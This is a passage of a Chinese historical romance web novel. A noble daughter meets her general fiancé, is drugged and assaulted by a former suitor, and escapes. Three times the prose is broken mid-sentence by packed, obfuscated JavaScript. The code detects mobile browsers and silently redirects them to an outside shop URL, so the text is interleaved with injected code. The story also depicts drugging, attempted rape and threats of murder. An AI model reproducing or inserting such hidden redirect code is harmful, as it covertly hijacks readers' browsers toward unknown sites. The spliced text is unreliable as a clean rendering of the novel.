“是的,桃花叠浪从此以后,就交到你的手上了。” “什么?!”虞乘月简直不敢相信!桃花叠浪,虞氏一族的立身之本,父亲为什么会把它交给自己? 虞仆射沉声道,“如今朝中局势不安,张氏一族,或许,不仅仅是张氏在觊觎我们的桃花叠浪。那左仆射王昌隆也早就视我为眼中钉,恨不能将虞氏一口吞下。与其让他们得到桃花叠浪,实力壮大,进一步打压我们虞家,还不如交给能护住它的人。你嫁到丹徒以后,自有北府军为依仗,那些人也不敢再动心思了。” “只是,诸位叔伯们,他们会同意吗?”乘月有些迟疑。 说起乘月的叔伯,虞仆射只能苦笑一声,“你的叔伯们,如果能和我一起撑起虞家,我也不至于将桃花叠浪托付于你了。” “可.....”乘月还想再说什么。 虞仆射却摇摇头,“乘月,不要推辞,也不要有什么负担。这次的士族品评只是一个开端,未来必定是风波四起,谁又能长久地保有什么呢?虞家如果有朝一日能恢复荣光,那么也不在乎这一个坞堡了。好了,快去前厅吧,建军将军在等着你呢!” 8. 金风玉露 此次的纳征礼,建军将军刘毅为表诚意,亲自从丹徒护送而来。虞仆射果真十分欣慰,与他攀谈了许久。 一番交流下来,刘毅敬重虞仆射一人苦苦支撑着虞氏全族;而虞仆射既同情刘毅幼时的经历,也越发觉得这位年轻人非同寻常。一时间,两人竟生出了惺惺相惜的感觉。 而让刘毅没想到的是,这位未来的岳父大人,竟然同意了自己与虞氏女相见的请求。虽说两人已经订婚,但很少有父母会同意未婚男女单独相处。 “看来,这位虞大人和那些顽固的京都士族真不一样!这样的父亲,教导的女儿会是什么样呢?”刘毅又想到了红叶说的和虞氏女有关的事,他不禁看向门外。 忽然间,隐隐约约的桂花香气飘了进来,那馥郁的甜味,可以让人忘却忧愁。 半掩的木门被人推开,走进来一位身着湖蓝色广袖衫裙的女郎,裙裾如水波中的层层荷叶,在初夏的微风中翩然纷飞。 刘毅知道,这位就是传说中的虞氏女郎了。 女郎最初微微低头,俨然是世家女一贯矜持的模样,但那亭亭似月的风姿,已经足够让他坚硬的心房为之一颤。 “建军将军。”女郎行礼后抬头看向刘毅。目光交汇的刹那,刘毅仿佛看到了一朵芙蓉花的绽放! 明眸善睐,雾鬓香腮,如此美人,也值得自己从丹徒到建康的长途跋涉了。 “果然是名不虚传,比起那以美貌闻名的红叶也毫不逊色啊!”刘毅心想。 “建军将军?”见刘毅没有回答,乘月的声音带着些疑惑。 “女,女公子。” 话一出口,刘毅便些懊恼,自己的声音是不是应该再柔和一些? 还有这一身冰冷的铠甲,会不会吓到眼前这个美丽的少女? 说来也是奇怪,刘毅在丹徒的时候也不是没见过容色出众的女郎,那位名叫红叶的舞伎就是其中的佼佼者,还与自己交往密切。面对她们,刘毅都能神色自若,心静若湖水;可是,从见到这位虞氏女郎的第一面起,刘毅就有些不知所措,像个初出茅庐的小伙。 也许是因为她的声音是那么婉转,气度却那样高华而疏离吧! 刘毅棱角分明的脸上蓄着浓密的胡须,以示武将的威严。而这次入京前,为了迎合京都人追求白皙的风尚,他在樊宇的劝说下敷了点粉,这就有点不伦不类了,再配上呆呆的表情,显得越发滑稽了。 乘月忍不住笑了。 建军将军红了脸,更加窘迫了。 可不能在未来的妻子面前丢人!刘毅拿出一枚古旧的木簪,上前一步,直接将木簪插入乘月的发髻,“这是毅祖传之物,今日送于女公子,以表毅拳拳之心。” 一气呵成,果决迅速,完全的武将作风。 只是,那迎面而来的健硕身躯让乘月有一种奇怪的被压迫感,她涨红了脸,连连后退。 “这粗鲁的武夫!”乘月腹诽。 那错愕慌乱的瞬间,让她在端庄疏远之外多了一股女儿家的娇憨。浑然不觉的的柔情绰态和旖旎艳光,让我们的建军将军又痴了片刻。 木簪幽暗质朴,在乌云般的发髻中有些松动,乘月伸手整理,却被刘毅误以为是要将簪子取下来,他赶紧解释道,“女公子,这枚木簪看起来普通,但它的末端嵌银,异常尖锐,关键时刻可以一击毙命!女公子戴在头上也不易被发觉,也许会有用到的时候。” “真是奇怪的人啊!哪有人初次见面就送人这种致命的武器?”乘月暗想。 不过,眼前这位高大魁梧、肤色略黑的建军将军却是格外认真的样子。乘月也不自觉地被影响到了,她呆呆地回了句,“好。” 刘毅心中欢喜,又问道,“我,可以叫你乘月吗?” 乘月点点头。 “乘月,这段时间,让你受委屈了。” “啊?”乘月有点懵,两人之前都没见过面,怎么,怎么就让自己受委屈了? 刘毅拱手致歉,言辞真诚,“我知道,我出身寒微,和身为虞府长女的你云泥之别。这次贸然求娶,京城中一定议论纷纷,给你带来了纷扰,都是我的过错。” “这位建军将军,也不完全像传说中那样凶狠野蛮嘛。”乘月心想。 可是,致歉后,刘毅又义正言辞地加了一句,“但我绝不后悔!” 上一刻还稍稍有点动容的乘月,这一刻差点没被噎住。她心想,“果然是传说中的那样!” “因为虞氏的门第?”乘月问得很直白。 “是。”刘毅回答得也很直接,“但,更因为,你是一个很好的人。” “哈?”乘月第二次懵了。 刘毅笑了,少年将军深邃冷硬的脸上有了柔和的色彩,“我听说过你的事。你收留了被驱逐的家伎。” “啊?”虞乘月第三次懵了,她从没有向外人说起这件事!难道是父亲告诉的他?可是,这件事,连父亲都觉得自己做得不对。虽然从小父亲就教导自己要有一颗善良的心,但是收留别人家被驱逐的家伎,在父亲看来不是什么光彩的事。 “任何一个有良知的人,都会出手相救的。只是,”乘月迟疑了一会儿,“你也觉得我做的对吗?” 这件事她没有告诉母亲,以褚夫人的风格,是不会允许一个尚未出阁的世家女掺和到人家的阴私的;而曾和她诗文唱和的郗锦安,她也莫名地觉得他不会赞成自己的行为…… “当然是对的,”刘毅肯定地回道,“我们要尊从内心的选择。乘月,我很高兴,我未来的妻子,不仅仅是出身名门,更是一个善良的人。” 乘月的眼睛似有点点星光,她的心在微微颤动,但她依旧保持着一个世家女该有的矜持和疏离。 不要急,慢慢来,刘毅心想。 纳征过后,虞府便开始筹备和清点乘月的嫁妆了,但是乘月的母亲褚夫人依然不肯离开博望苑。 虞仆射看着眼前无比冷漠的妻子,心中不禁万分悲凉:夫妻本该一体,耳鬓厮磨,心意相通,在这坎坷的世间携手相伴,互相扶持;可自己和玉仪,怎么就成了如今这般冷冰冰的模样? “玉仪,我虽有对你不住的地方,可你也不该这样任性啊!”千言万语,最终只化成了一句感叹。 “只是对不住我?”褚夫人尖锐地回问,面色近于扭曲。 她的青春和爱情都被眼前之人毁了,到头来只是一句对不住? “你当初欺我骗我,现如今还要继续继续坑害我们的女儿!” 一时之间,可怕的沉默在两人之间蔓延。 那年他们尚且年轻,褚夫人的美貌已是名动京师,家中原本计划将她送入宫中,作为太子良娣的备选。就在这时,她遇到了那个让她心动的人,如今的虞仆射! 彼时的虞仆射不过弱冠,面色如玉,身如松柏,他将跌倒在怀的褚夫人轻轻扶起,柔声问侯,在少女的心湖间掷下了一个小小的石子。从此,波澜竟无法停止。 即使虞仆射自认为自己是君子,也不敢再回看那段历史,这会将他引以为傲的清贵品行击打得粉碎。 父母是拗不过子女的,褚夫人最终如愿嫁给了她心中的公子。可是,一次偶然,她在丈夫的衣物中,找到了一个并非自己所做的香囊;褚夫人留了个心眼,在一封丈夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285903|198435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还未来得及藏起来的密信里,她看到了让自己被困终身的噩梦。 原来,丈夫在和她成亲之前,早就有了心爱的女子!甚至在妻子有孕之前,他们已经有了一个孩子! 这是多么可笑的事情!堂堂虞家,竟然会允许一个卑微的婢女在正室夫人之前诞下孩子!这是民间家风正派的人家都不会出现的事情。 那么,他为什么要委屈自己的爱人,将之私藏在外而另娶自己呢?褚夫人很早就说过不许夫君纳妾,他为何还要娶了自己而委屈心爱之人? 很快,褚夫人也得到了答案。 丈夫的妹妹被家族送进了宫中,没有了自己这个强劲的对手,她很快被册立为良娣,接着太子登基,这位妹妹就成了中宫。 褚夫人质问过丈夫,沉默已经回答了一切。 水落石出之日,也是褚夫人心死之时。从此以后,她便避居于博望苑,不愿再过问世事了。 两人曾经如鸳鸯交颈,鸾凤和鸣,如今却是相看两厌。 褚夫人已是泪流满面。少女时期对于爱情和未来的所有的美好幻想,都因为这个人,被粉碎得干干净净,她再也没有了憧憬了,她引以为傲的一切都成了幻影。 到底,什么样的人才值得被爱? 虞仆射并非无情之人,在漫长的人生旅途中,他唯一对不起的,就是这位结发妻子。曾经的她,是那么的明媚灿烂,像一朵美丽的芍药落入了自己的胸怀,幽芳阵阵,让一向自持的少年也红了脸颊。 可是,人,难道就要一辈子困在过去的错误中吗?他已经为曾经的行为深深忏悔过了,并且对后来妻子的所有冷漠都给予了无限的包容。 他真的累了,除了因为曾经的欺诈行为而承担起的道德上的负罪感,还有从上一任族长手中接过的家族的重担。 好不容易罔顾世俗的偏见与建军将军结亲,为虞家找到了军队的支持力量,又发生了士族品评之事,虞家的差点被从第一等的士族除名! 幼子云华在伎坊将张家子打成重伤,张家寻仇不成,又将此事告之于陛下。两宫相争,陛下也头痛不已,他将云华召进宫中严厉斥责了一番,留下了“竖子无知,不堪重用”的评价,这对于本就后继乏人的虞家而言简直雪上加霜! 还有那个屡屡压他一头的左仆射王昌隆,因为虞家和丹徒刘毅结为亲家,对自己更加忌惮,朝堂上自己也处处被王昌隆和他的岳父琅琊王针对。 在一个兵事四起的时代,虞仆射不知道自己还能撑着虞家走多久。 自纳征之日两人的初次见面之后,刘毅便时时从丹徒给乘月写信,乘月也偶尔会回信。他们由最初客气地问好,渐渐聊到了各自的生活,令乘月感到欣喜的是,刘毅似乎是一个很包容的人,并不反对自己习舞的行为。 再后来,乘月把自己目睹的那场悲剧写给了刘毅。她告诉刘毅,她为那个可怜的女郎感到悲伤,也因为自己的无能为力而痛苦。 拿到信的刘毅沉默了很久,他这一路走来,见过的听过的甚至亲身经历的人间惨剧不知有多少。此刻的他,好像又回到了年少时那段挣扎、愤怒而痛苦的过往。 乘月的文字,好像也在抚慰年少的自己。如果那时候,乘月遇到了被欺侮的自己,她也会勇敢地帮助自己,温柔地安慰自己,对吗? 刘毅回信了,他在信里写了很多,他告诉乘月,当一个人有了要改变什么的想法时,她能做的就会有很多。而且,只要乘月的发心是善的,不管乘月要做怎么,他都会坚定地支持! 夏日的风吹拂着岸边的柳叶,也吹动着乘月的心。就在此刻,她做出了一个决定。 9. 私会 淮水岸边的张公桥,是一个人迹罕至的地方,郗锦安在桥边徘徊,心中不安。 他写下的那封信笺,回忆了自己与乘月的相识相知,表达了要与乘月生别离的痛苦,并恳求乘月与自己私下再见一面。 信的结尾是这样写的,“乘月,每日未时,我都会等候于张公桥边,直到你来的那一刻,无论刮风下雨,我都无怨无悔。”这样可怜又多情的行为,连自己都要被感动得落泪。 郗锦安低下头,据他对乘月的了解,虽然表面上,乘月总是摆出和其他士族女子一样的高傲清冷的姿态,可是在无人察觉的瞬间,他会看到她发自内心的灿烂的大笑,看到她抚摸路边受伤的狸猫时,眼底流露出的温柔星光——她是一个心软的姑娘,也很容易轻信别人。 而自己,正是在利用她的心软。 再一抬眼,乘月已经从石桥上走来,梅子色高腰裙勾勒出她窈窕的身姿。莲步轻移,似一朵蔷薇在风中缓缓绽放;眼波流转,依稀是他梦中噙着露水的娇艳模样…… 她果然来了! 郗锦安迎向乘月,神色欢喜,“乘月,我知道你一定会来!” 虞乘月不敢直视郗锦安,语气却异常坚定,“多谢公子厚爱,只是我即将嫁到丹徒,玉佩和信笺就还与公子,我们以后就不要见面了。” 郗锦安却恍若未闻,只紧紧抓住虞乘月的手,“乘月,你当真放得下?我们曾经诗酒唱和,难得的心意相通!难道,你真的舍得?乘月,和我走吧!” “走?走哪里去?” 郗锦安笑道,“我去哪里,你就去哪里!” “什么意思?” “乘月,我不能眼睁睁地看着你嫁给别人!跟我悄悄离开,不要嫁给刘毅!等这阵子过了再回去拜见父母,这样我们就能永远在一起了!” 这不就是私奔?? 士之耽兮,犹可脱也;女之耽兮,不可脱也。 如果自己为了私情,不管不顾地跟着郗锦安走了,她的人生也完了!对于男子而言,不过是多了一桩风流韵事,但对于女子而言,那就是一生的毁灭呀! 而且,不仅仅是自己,父母亲和虞家也会因为教养出这样不知廉耻的女儿而被人诟病! 郗锦安怎么能提出这样的建议? 乘月的情绪翻滚,她挣脱了郗锦安,后退一步,“我不会和你走。” 那如蔷薇般婀娜的身姿,让郗锦安以为是欲拒还迎的技俩,这是他在众多爱慕自己的女子身上常见的姿态。而美人绯红的双颊,让郗锦安更加肯定了自己的想法。 “乘月,你不要怕,那个刘毅根本奈何不了我们郗氏。”郗锦安把虞乘月的拒绝看作是顾虑刘毅的怒火,他从来没想过有哪个京都女郎能拒绝自己这个风神俊雅、诗酒风流的世家公子! “郗公子,你误会了,我是真的不会和你走!我不能不顾虞家的名誉。” 虞乘月有些生气了,她第一次觉得郗锦安怎么听不懂自己说的话! 可在郗锦安看来,生气的美人又是另一种风味。美人的胸口因为情绪的波动起起伏伏,夏日单薄的纱衣根本无法完全遮掩..... 郗锦安的眼中渐渐弥漫上一层捉摸不透的色彩,可虞乘月不过二八年华,未经人事,哪里能看得懂这色彩背后潜藏的危险? 她见郗锦安不语,继续说道,“我不能使家门蒙羞,公子的厚爱,小女子承受不起,就此别过。” 虞乘月叉手作别,转身就要离去。 郗锦安早已在心中幻想过无数次两人在一起的画面,又怎么会放她开? 他一把扯住乘月的玉臂,将她拉回到自己身前。乘月的挣扎就像小兔子一般毫无威胁,反倒激得郗锦安环住了她纤细的腰肢。 “郗公子,请自重!”乘月怒斥!以往的郗锦安文质彬彬,与女郎们相处最是守礼,怎么会做出这种登徒子的举动?! 郗锦安看着眼前混杂着娇媚与冷艳的女子,心中的火烧得更盛了。 他的声音喑哑,“乘月,是我逾越了。不能和你在一起,是我这一生的遗憾,让我最后再抱一抱你好吗?” 热烈的气息冲击着乘月的耳垂,她的脸颊烧得通红。 “原来,郗家大公子是这样情深。” 虞乘月终于被蛊惑了,她停止了挣扎,一阵馥郁的香气冲入她的鼻腔。 一番纠缠,她感觉到了疲惫。 “真香啊!”昏昏沉沉中,乘月闭上了眼睛。 三山一江之间的丹徒,虽无建康城的繁华喧嚣,却自有一股疏朗之气,其中的北固山更是风光独绝。 “逝者如斯夫,不舍昼夜。还是过于消极了啊。”刘毅立于北固山的凉亭之上,对着浩瀚的长江,将手中的温酒一饮而下。 “那君侯觉得怎样才算是不消极?”樊宇看向自己敬重的君侯。 “北方豺狼肆虐,五胡乱华。与其做小儿女态悲悲戚戚,不如挥师北上,廓清中原!”刘毅眺望着更远处的江天一线,那里不知有多少的遗民泪。 “君侯意气风发,看来建康之行心情不错啊!”一位身着白衣的副将笑道。 “虞氏有好女,君侯所见,是难得的美人吧!”另一员镇守丹徒的副将也笑着打趣。 “确实甚美。”刘毅回答得毫不掩饰。 “难道比我们的红叶姐姐还美?”一位年纪尚小的艺伎眨着懵懂而好奇的眼睛。 红叶静静地侍坐于刘毅身边,偶尔为他斟酒添茶,听到这句问话,也不禁抬起头来,带着连自己都无法察觉的憧憬。 刘毅浅抿了一口温酒,“各有其姿。” 语气甚是平淡,但他的唇边却闪烁着隐约的笑意。 “看来,虞氏女郎果真是难得一见的美人!恭喜君侯,君侯可得饮了此酒!”红叶笑意盈盈,低垂着眼眸,将一杯斟满酒的五彩琉璃杯高高举起。 刘毅听出了红叶的醋意,并不介意,接过她递来的酒杯一饮而尽。 “你我相识已久,日后定不会相负于你!” 众人大笑! “报!”一位亲兵匆匆闯入,惬意欢畅瞬间被打破。 刘毅挥挥手,示意艺伎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285904|198435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们退下。 红叶频频回首,却不得不随着众人离去。 “何事?”刘毅问。 亲兵回道,“禀君侯!前方来报,荆州刺史发布诏书,号召各地讨伐尚书左仆射王昌隆!” 虞乘月好像做了一个美妙的梦。梦里她身处花苑,柳浪莺啼,花香阵阵,自己折腰而舞,好不快乐!可是这里的香气太过浓郁了,使得她有些头晕,分不清究竟是梦境还是现实...... 一阵清风吹过,乘月稍稍清醒了一些,她睁开了眼睛。 “乘月,你醒了。”眼前出现的是郗锦安俊秀的面容。 乘月心下一沉,环顾四周,织锦的毛毡,鎏金的落地灯,半开的鸳鸯屏风……并不是自己熟悉的场景。 “这是哪里?” “别怕,这里是我的别业。”郗锦安言语温和。 “你的别业!我为什么会在这里?我要回家!” 乘月挣扎着立起身,很快又软了下去,她又惊又怒,“你对我做了什么?” “别担心,只是用了一点点迷香。”郗锦安温柔地扶起乘月,语气平淡,仿佛这只是一件很寻常不过的事情。 “无耻!”乘月气急! “是,我承认,将一位女郎迷晕带到这里确实称不上是君子行径。可是,为了你,我愿意违背君子的道德。”郗锦安面色平静,从给乘月写信时起,那个光风霁月的郗家公子就已经不复存在了。 “你要做什么!?”乘月怒斥。 郗锦安将虞乘月拉到自己的怀中,触手所及的软玉温香让他的心头发烫,那根在情欲和理智中拉扯的琴弦终于绷断了,他的声音蛊惑而沙哑,“乘月,今晚就是我们的洞房花烛之夜。 “郗锦安!你知不知道这么做的后果!?” “我当然清楚,也许你的父亲,虞仆射会暴怒,天子也会降罪于我。但是,再坏都比不过把你拱手让给丹徒的刘毅!乘月,你是我的。” “郗锦安,请你保持理智!” “如果理智的结果是失去你,那不要也罢!” 郗锦安反锁住住乘月的双手,剥开她的外衫,只余下一件绣着粉色莲花的的肚兜勉强遮掩着胸前的丰腴细腻…… “乘月,我的乘月。”郗锦安暧昧地在乘月耳边摩梭,呼吸的热气让她的身体阵阵发麻。 虞乘月的体力远远不及男子,根本挣脱不得。绝望之下,她闭上了眼睛,而黑暗中人的触觉更加敏感。她感受到男人的手正顺着自己的腰肢向上攀爬,而束缚住自己的另一只手却渐渐放松了…… 虞乘月抓住时机,趁郗锦安神色痴迷之际,迅速抽出发间的嵌银木簪,一把刺向匍匐在自己身上的男人! 郗锦安早年曾在北府军中历练,身手还算矫捷。他立刻出手遮挡,却被乘月刺中了右腕! “贱人!”郗锦安大怒,一掌上去,乘月的脸迅速红肿起来,鲜血从她的嘴角渗出。 郗锦安忍着剧痛,将乘月的双手压在头顶,正要撕开她的小衣,门外响起了婢女的声音,“公子,张女公子来了。 10. 藏娇 张金銮已经在郗锦安的别业等候多时了。 她先是去了郗府,却被告知郗锦安散值后并未回府。但她并不气馁,郗锦安这段时间对她亲昵了许多,曾经告诉过自己,他喜欢待在位于京郊的别业。 这是张金鸾第一次来到郗锦安的别业。这里远离城郊,极为偏僻,绕过流水连廊,就是几重小阁楼相连,比不上京都建筑的恢弘深幽,也没有京都的热闹繁华,也不知为何郗锦安会喜欢待在这里。 而门外的郗锦安整理了服饰,收敛起脸上的不悦和厌烦,推门而入。 他很早就在建康的社交场认识了张金鸾,这位张氏女郎仗着张贵嫔的关系,行事颇为张扬,自己瞧不上她暴发户的做派,对她极为疏远;而这一次,这个张氏女郎,中断了自己的好事,更是令人生厌! 但是,父亲千方百计地与势头正盛的张氏一族搭上了关系,他即使再不愿意,也不能得罪这个张金鸾。 更何况,听父亲说,张侍中想将张金鸾许配给自己,如果能借张家的东风…… 张金鸾看到郗锦安的时刻,眼睛都亮了,“锦安哥哥,你不会在这么偏僻的地方藏了什么美人吧!” 郗锦安脸色一变,干笑道,“又在胡说!” “锦安哥哥,我害怕嘛,你之前对虞乘月那么不一样……” 郗锦安语气真挚,眼中却闪过一丝不易察觉的隐忍,“你放心,那是以前我和你不相熟,不知道你的好。虞乘月不过是借了虞家积累的声誉,无论外貌性格,都比不上你。” “真的吗?我学不会虞姐姐的温柔……” “这是世家女的通病了,装模作样,哪里比得上你的真性情?自从确定了你的心意,我也再也没和虞乘月见过面了。” 张金鸾心里甜蜜蜜的,有什么比情郎诋毁自己的情敌更让人愉快的呢? 别业深处的小阁楼内,虞乘月惊魂未定。 虽然郗锦安被叫走了,但说不准什么时候回来,自己必须立刻想办法离开! 从窗外看去,这个别业里几乎没有什么来往的人;自己所在的房外守着两个婢女,如果能引开一个,自己就有逃走的可能。 这间房内,纱幔重重,遍地的毛毡;外间类似于书房,书架上密密麻麻的藏书,有许多是被人标注过,看得出来是郗锦安很珍视的珍品。 博山炉的缕缕烟气飘散开来,仔细看去,还有火星子不时地蹦出…… 如果突然发生一场火灾,足够引开一人了! 乘月果断地将博山炉灰倒在纱帐上,很快纱幔上有了火苗的迹象;火苗越来越大,蔓延到了毛毡上……. “救命!救命啊!”乘月用力拍打门框,不断地呼救。 室内传出的烟气越来越浓,婢女们也来不及思考,一个去叫人,另一个打开房门,要将郗锦安的藏书救出来! 她们都轻视了乘月——一个养尊处优的世家女能做什么? 然而乘月习舞已久,知道人的身体脆弱的地方,一个肘击,那名准备收拾藏书的婢女立刻晕倒在地。 黄昏将至,一阵急促的马蹄声打破了建康城外官道的宁静。 在夕阳的余晖中,一匹银鞍黑马如流星般奔驰而来。马背上俯着一玄衣男子,他手握缰绳,面容冷峻,正是我们的建军将军刘毅。 收到荆州刺史号召各地讨伐王昌隆的消息,刘毅留下樊宇和副将负责丹徒军务。 “将军此去建康,多久才回?” “少则十日,多则一月!” “将军何必亲自前往?有什么部署末将替您传令!”副将拱手相劝。 丹徒是京师的咽喉,一旦发生战事,必定是各方势力觊觎的对象。刘毅身经百战,勇猛如神,堪称丹徒的定心丸,诸将都不太赞同他在这个时间点离开,只有樊宇坚定地支持刘毅。 刘毅沉声道,“这几年,各家塞了不少子弟进来,京师北府的战斗力远不如从前!这次我必须清一清蠹虫了!丹徒防务已安排妥当,我会尽快赶回,大家凡事与军师商议,丹徒就拜托诸位了!” 荒芜的郊外,虞乘月一路跌跌撞撞,步履蹒跚。她的发髻早已凌乱,垂散在肩前和脸旁,脸上到处是斑驳的污渍,狼狈极了;她的脚下,也因为长时间的赶路磨出了血迹。 她也不知道自己走了多久,渐渐的,暮色四起,路边优美的风景,变成了无尽的恐惧——谁也不知道树林和荒草后隐藏着什么。 乘月已经很疲惫了,但她不敢停下脚步,官道就在眼前,沿着官道,就可以走回建康城! 但是,生活往往会在你最乐观的时候给与重重一击! 郗锦安又出现了! 他得知火灾的消息,第一时间便想去找虞乘月,但偏偏张金鸾就在身边,他哄了半天,才将这尊大神送走。而虞乘月早就不知所踪。 “乘月,你果然够聪明!制造一场火灾将人引开。”郗锦安饶有兴味地看着眼前这个楚楚可怜的女郎,内心深处反倒有种莫名的快感。 “郗锦安,你真是个卑鄙小人!” 郗锦安眯了眯眼睛,“虽然卑鄙,却依然和你心意相通不是吗?不然我怎么会猜到你会走官道呢?” “呸!” “乘月,和我回去!”郗锦安的声音依然是那么柔和,那么蛊惑人心。 “呵呵!回去?我宁愿死在这里!”虞乘月的手中紧紧握着那根木簪,木簪最锋利的一端死死抵着自己的脖颈,鲜红的血珠渗出——没有想到,在最孤独绝望的时刻,竟然是刘毅的木簪陪着自己。 在黄昏的残照下,乘月的表情严肃而决绝,她不会再被眼前这个人蒙蔽,也不会再让自己受辱! “你没看到她不愿意吗?”暮色中传来了低沉的男声。 “你最好不要多管闲事!”郗锦安头也不回。 “闲事?如果我说,这是我的未婚妻呢?” 郗锦安猛地转身,月光下,一玄衣男子秉剑而立,赫然便是那个令人闻风丧胆的建军将军刘毅! 乘月看到刘毅的瞬间,泪水再也控制不住,哗哗落下。 这位身形魁梧的玄衣男子,仿若天降,让她有了依靠。 乘月站到刘毅的身后,紧紧抓着他的衣角,生怕他将自己扔在这个可怕的地方。 郗锦安的神色变幻莫测,但他很快调整了语气,“将军的未婚妻与我有情,私会于此,我想把她送回家,她不愿意。” “你放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285905|198435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屁!”虞乘月气得浑身发颤!终于忍不住爆了粗口。 但这粗口对郗锦安毫无杀伤力,他不急不慢地对刘毅拱手,仿佛还是那个建康城内的风雅公子,“既然建军将军来了,那就由将军护送吧,下官告辞。” “站住!我的未婚妻,不是任由你污蔑的!”刘毅声如洪钟,郗锦安一时竟真的不敢行动。 刘毅找出一块干净的棉布,系在乘月的伤口处,又温柔地拍了拍她颤抖的手,“不要怕,告诉我,发生了什么!” 乘月就像是一只即将溺水的青蛙,紧紧地抓住刘毅,“我不想,我不想!他要我跟他走,我不愿意,我真的不愿意!” “我知道,我知道。”刘毅看着眼前泪水横流的女子,哪里还有初次见面时清冷高洁的模样! 按理说,未婚妻与外男纠缠不清,自己应该懊恼。但此刻,看着可怜的乘月,刘毅的心中却没有任何责怪之意,只剩下深深的怜惜。 “他将我迷晕带到了别业,还要把我囚禁在那里!!而且,而且……” 虞乘月又怒又羞愧,眼泪不争气地往下掉。 自己被轻薄之事,她根本无法在刘毅面前说出口。 听到这里,刘毅再也忍不住了!他并非无知之人,一个年轻的女郎被迷晕带到别业,想想也能知道会发生什么! 他一把抽出马鞭,狠狠打在郗锦安身上,“这一鞭,抽你颠倒黑白!” “这一鞭,抽你身为男儿却凌辱女子!” “这一鞭,抽你枉读圣贤书,却不知廉耻!” 郗锦安起初还想反抗躲藏,但他哪里是刘毅的对手!最后只能哀嚎求饶。 刘毅狠狠踩在了郗锦安的手上,“如果,让我听到什么不好的流言,你不会见到第二天的太阳!滚!” 一切好像恢复了平静,夜色也更加深沉了,但乘月却没有了恐惧,她安静地伏在刘毅的怀中,情绪渐渐平复。 “好点了吗?”刘毅的声音是从未有过的温柔。 “嗯。”乘月的声音微弱,那是因为太过羞愧的缘故,“谢谢将军。” “是我没有保护好你。”不知为何,面对乘月,刘毅总觉得自己做的不够,他应该让她活得更加快乐。可现实却是,从和自己议亲开始,流言蜚语就开始伤害她;现在,这个郗氏竖子竟然敢迷晕甚至囚禁她! 最初的愤怒过后,刘毅的理智重新占据了上风。 如果不是两人私下见面,郗锦安又怎么有机会将乘月带走呢?刘毅希望听到乘月的解释,他也愿意相信她。 “我,我......”乘月一时语塞。 “事已至此,还有什么不能说的,我不是那等心胸狭隘之人。”刘毅看乘月犹豫羞惭的模样,便已猜到大半。 乘月抬起头来,看着刘毅坚毅的面庞上露出的认真的神色,深吸一口气,似乎是在给自己勇气,“是他约我见面,但我去见他,真的只是想告诉他,不要再打扰我了。哪里想到他竟会那么卑鄙!但是,他,他没有得逞,我烧了他的书房,趁乱逃了出来,然后就遇到你了。” 刘毅空出一只手来,将乘月身上被风吹散的披衣拢好,“我知道了。” “你会不会怪我?” 11. 冲动 刘毅的神色和今夜的月光一样平静,而乘月的心却忐忑不安。 今晚遭遇的这一切,都从自己答应郗锦安私会的邀约开始;而这不是一个已有婚约的女子该做的事。身为未婚夫,刘毅会怎么看待自己?…… 而刘毅却温柔地理了理她凌乱的长发,“不会,你很勇敢。” “什么?”乘月以为自己听错了。勇敢?他说的是不是反话? “你很勇敢。”刘毅重复了一遍,“我能想到,你和他应该是在建康城的社交场相识,他看起来一表人才,风流倜傥,正好吸引像你这样单纯的女郎。” 乘月有些脸红,还好,月色朦胧,可以遮掩住她微小的尴尬。 “你长在深闺,怎么会知道人心险恶?你为了断和他之前的联系,只身赴约,这并没有什么错。是他利用了你的心软,我怎么会怪你?”刘毅的声音坚定得让人心安。 “将军……”乘月感觉自己有千言万语,却不知如何说起。 “乘月。”刘毅顿了顿,理智告诉他,乘月没有做错什么;可是情感上,他却无法控制地嫉妒,嫉妒郗锦安那个卑劣的竖子,在自己认识乘月之前短暂地俘获过她的心。 “我还是有些生气,你不该这样独自前往!以后,无论遇到什么事,不要一个人面对,你还有我。” “好。” 月亮露出了皎洁的面庞,温柔地映照着城外的石板路;月光下,银鞍黑马载着年轻的男女,向建康城的方向奔去。 此刻,乘月静静地靠在刘毅宽阔而结实的胸膛,他们没有说话,一切都是那么的简单而又温情。 建康越来越近了,这份安静很快就会被打碎,他们不得不去面对城内复杂的人和现实,乘月有些忧虑,“将军,那个郗锦安不会有什么事把!” 她亲眼看到郗锦安被刘毅打得吐血,此人行为卑鄙恶劣,但毕竟是郗氏的嗣子,郗氏一族在军中和各地都有旧部,如果有什么不测,刘毅必定会被他们狠狠报复的。 刘毅刚刚熄灭的怒火却砰的一声燃烧起来!他猛地勒住缰绳,银鞍黑马仰天嘶鸣。 “既然这样,我现在就去一刀结果了他!” 